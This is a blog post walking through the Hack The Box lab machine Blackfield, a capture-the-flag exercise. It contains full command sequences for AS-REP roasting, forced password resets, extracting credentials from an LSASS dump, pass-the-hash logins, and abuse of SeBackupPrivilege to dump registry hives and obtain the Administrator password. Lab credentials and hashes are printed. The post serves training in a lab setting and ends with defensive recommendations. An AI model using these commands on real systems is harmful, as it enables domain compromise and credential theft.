DEV Community

nekohige
nekohige

Posted on

HTB - Blackfield Writeup - no Metasploit

#ctf #htb #security #hackthebox

Summary

  • The target was a Windows machine having an Active Directory domain.
  • Using the Guest account, I was able to browse a shared folder, where a folder named profiles$ revealed a list of valid usernames.
  • Using those usernames, I performed an AS-REP Roasting attack and found that the user support had Kerberos pre-authentication disabled.
  • support had permission to change the password of audit2020. After resetting it, I used the audit2020 account to access another shared folder.
  • Inside that folder was lsass.zip, from which I extracted the credentials of svc_backup.
  • svc_backup had the SeBackupPrivilege right, so I used diskshadow and robocopy to retrieve the SAM, SYSTEM, and SECURITY hives.
  • Running impacket-secretsdump against these hives revealed the Administrator password.

Recommendation

Assuming this were a real environment, I would recommend the following:

  • Restrict access to sensitive shared folders so they are not accessible via the Guest account.
  • Do not disable Kerberos pre-authentication for user accounts unless absolutely necessary.
  • Regularly audit delegated permissions, such as support’s ability to reset audit2020’s password, and revoke them once they are no longer needed.

Enumeration

First of all, let's enumerate open ports using namp as follows.

for i in 1 2; do sudo nmap -sS -Pn -p- --open -n --min-rate 1500 -oA scan_all$i 10.129.229.17; done
Enter fullscreen mode Exit fullscreen mode 


ports=$(grep -ohP '\d+(?=/open)' scan_all*.gnmap | sort -un | paste -sd, -); echo $ports
sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.229.17
Enter fullscreen mode Exit fullscreen mode

Ports 135(RPC) and 445(SMB) are open. Also, 53(DNS), 88(Kerberos) and 389(LDAP) are open, too. This suggests a standalone Windows machine having an Active Directory domain.

No interesting UDPs are open.

Since it's a Windows machine with active directory, let's try anonymous and guest login for shares, users and groups at first.

nxc smb 10.129.229.17 -u '' -p '' --shares --users --groups
Enter fullscreen mode Exit fullscreen mode

No info is revealed except domain: BLACKFIELD.local.

nxc smb 10.129.229.17 -u 'guest' -p '' --shares --users --groups
Enter fullscreen mode Exit fullscreen mode

No info is revealed.

Let's check the domain info.

dig @10.129.229.17 BLACKFIELD.local any
Enter fullscreen mode Exit fullscreen mode

New domain name is revealed, dc01.BLACKFIELD.local.

Let's add the mapping between the IP and domain names to /etc/hosts.

echo "10.129.229.17 BLACKFIELD.local dc01.BLACKFIELD.local" | sudo tee -a /etc/hosts
Enter fullscreen mode Exit fullscreen mode

After some research, I figured out that VPN connection was bad. I changed the protocol from UDP to TCP and then the outcome has changed as follows.

nxc smb 10.129.229.17 -u 'guest' -p '' --shares --users --groups
Enter fullscreen mode Exit fullscreen mode

Let's check profiles$.

smbclient //10.129.229.17/profiles$ -U 'BLACKFIELD.local\guest%'
Enter fullscreen mode Exit fullscreen mode

Many contents. But no files. This information seems usernames. So, let's make a users.txt.

Exploitation

Let's check whether there is a user without pre-authentication.

impacket-GetNPUsers BLACKFIELD.local/ -request -format hashcat -outputfile asrep.txt -usersfile users.txt -dc-ip 10.129.229.17
Enter fullscreen mode Exit fullscreen mode

support does not have pre-authentication.

hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule
Enter fullscreen mode Exit fullscreen mode

Cracked! support:#00^BlackKnight

Let's check what we can do.

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.229.17 -u 'support' -p '#00^BlackKnight' $a; done; done; for p in ssh ftp; do nxc $p 10.129.229.17 -u 'support' -p '#00^BlackKnight'; done
Enter fullscreen mode Exit fullscreen mode

SMB is positive. Let's check what we can do with smb.

 nxc smb 10.129.229.17  -u 'support' -p '#00^BlackKnight'   --shares --users --groups
Enter fullscreen mode Exit fullscreen mode

Valid usernames are found.

Let's get into shared folders.

smbclient //10.129.229.17/NETLOGON -U 'BLACKFIELD.local\support%#00^BlackKnight'
Enter fullscreen mode Exit fullscreen mode

Nothing

smbclient //10.129.229.17/SYSVOL -U 'BLACKFIELD.local\support%#00^BlackKnight'
Enter fullscreen mode Exit fullscreen mode

However, not good info.

Let's check bloodhound.

bloodhound-ce-python -u support -p '#00^BlackKnight' -d BLACKFIELD.local -ns 10.129.229.17 -c all
Enter fullscreen mode Exit fullscreen mode

support can change the password of audit2020.

Let's change it.

net rpc password "audit2020" "newP@ssword2022" -U "BLACKFIELD.local"/"support"%"#00^BlackKnight" -S "dc01.blackfield.local"
Enter fullscreen mode Exit fullscreen mode 


 for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.229.17 -u 'audit2020' -p 'newP@ssword2022' $a; done; done; for p in ssh ftp; do nxc $p 10.129.229.17 -u 'audit2020' -p 'newP@ssword2022'; done
Enter fullscreen mode Exit fullscreen mode

Let's check the shares.

nxc smb 10.129.229.17 -u 'audit2020' -p 'newP@ssword2022' --shares
Enter fullscreen mode Exit fullscreen mode

Let's connect to the folder and download every conetent.

smbclient //10.129.229.17/forensic -U 'BLACKFIELD.local\audit2020%newP@ssword2022'
recurse ON
prompt OFF
mget *
Enter fullscreen mode Exit fullscreen mode

However, some files were too large to download completely.

So I retried with an extended timeout of 300 seconds (-t 300), as shown below.

 smbclient //10.129.229.17/forensic -U 'BLACKFIELD.local\audit2020%newP@ssword2022' -t 300
Enter fullscreen mode Exit fullscreen mode

We can see lsass.zip. Let’s extract and analyze its contents.

pypykatz lsa minidump lsass.DMP
Enter fullscreen mode Exit fullscreen mode

We found a credential! svc_backup:9658d1d1dcd9250115e2205d9f48400d

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.229.17 -u 'svc_backup' -H '9658d1d1dcd9250115e2205d9f48400d' $a; done; done; for p in ssh ftp; do nxc $p 10.129.229.17 -u 'svc_backup' -H '9658d1d1dcd9250115e2205d9f48400d'; done
Enter fullscreen mode Exit fullscreen mode

Winrm is available.

evil-winrm -i 10.129.229.17 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d
cat ../Desktop/user.txt
Enter fullscreen mode Exit fullscreen mode

Hooray!

Privilege Escalation

Checking whoami /priv reveals that svc_backup has SeBackupPrivilege. So, let’s dump the SAM, SYSTEM, and SECURITY to extract the Administrator’s credentials.


reg save hklm\sam C:\Users\Public\sam ; reg save hklm\system C:\Users\Public\system ; reg save hklm\security C:\Users\Public\security
Enter fullscreen mode Exit fullscreen mode 


impacket-secretsdump -sam sam -system system  LOCAL
Enter fullscreen mode Exit fullscreen mode

However, the credential for admin is not effective.

SECURITY is necessary so that I used diskshadow and robocopy to get it.

Set-Content -Path diskshadow.txt -Encoding ASCII -Value "set metadata C:\Windows\Temp\meta.cab"
Add-Content -Path diskshadow.txt -Encoding ASCII -Value "set context persistent nowriters"
Add-Content -Path diskshadow.txt -Encoding ASCII -Value "add volume c: alias cdrive"
Add-Content -Path diskshadow.txt -Encoding ASCII -Value "create"
Add-Content -Path diskshadow.txt -Encoding ASCII -Value "expose %cdrive% z:"
Add-Content -Path diskshadow.txt -Encoding ASCII -Value "exit"

diskshadow /s diskshadow.txt
Enter fullscreen mode Exit fullscreen mode 


robocopy /b Z:\Windows\System32\config C:\Users\svc_backup\Documents\configbackup SAM SECURITY SYSTEM
Enter fullscreen mode Exit fullscreen mode 


cd C:\Users\svc_backup\Documents\configbackup
download SYSTEM
download SAM
download SECURITY
Enter fullscreen mode Exit fullscreen mode 


impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY  LOCAL
Enter fullscreen mode Exit fullscreen mode 


evil-winrm -i 10.129.229.17 -u Administrator -p '###_ADM1N_3920_###'
type C:\Users\Administrator\Desktop\root.txt
Enter fullscreen mode Exit fullscreen mode

Lessons Learned

  • If you see a NetBIOS timeout, it may indicate that the VPN connection is unstable or broken. Try switching from UDP to TCP, or use a different VPN connection.
  • By default, smbclient can time out when downloading large files (e.g. the SYSTEM hive), so the download fails partway through. Use -t 300 to extend the timeout. Also, even when you have SeBackupPrivilege, you may be able to retrieve SAM and SYSTEM but still fail to grab SECURITY through normal means. In that case, using diskshadow together with robocopy (in backup mode, /b) works well.
  • pypykatz is a useful tool for this kind of work. lsass.exe (Local Security Authority Subsystem Service) is a core Windows process responsible for enforcing security policy and handling user authentication; it keeps credential material (password hashes, Kerberos tickets, etc.) in memory while a user is logged on. If an attacker can dump the memory of this process (e.g. with procdump or Task Manager), tools like pypykatz (a Python reimplementation of Mimikatz) can parse that memory dump offline on Linux to extract those credentials, without needing Mimikatz itself on Windows.

Top comments (0)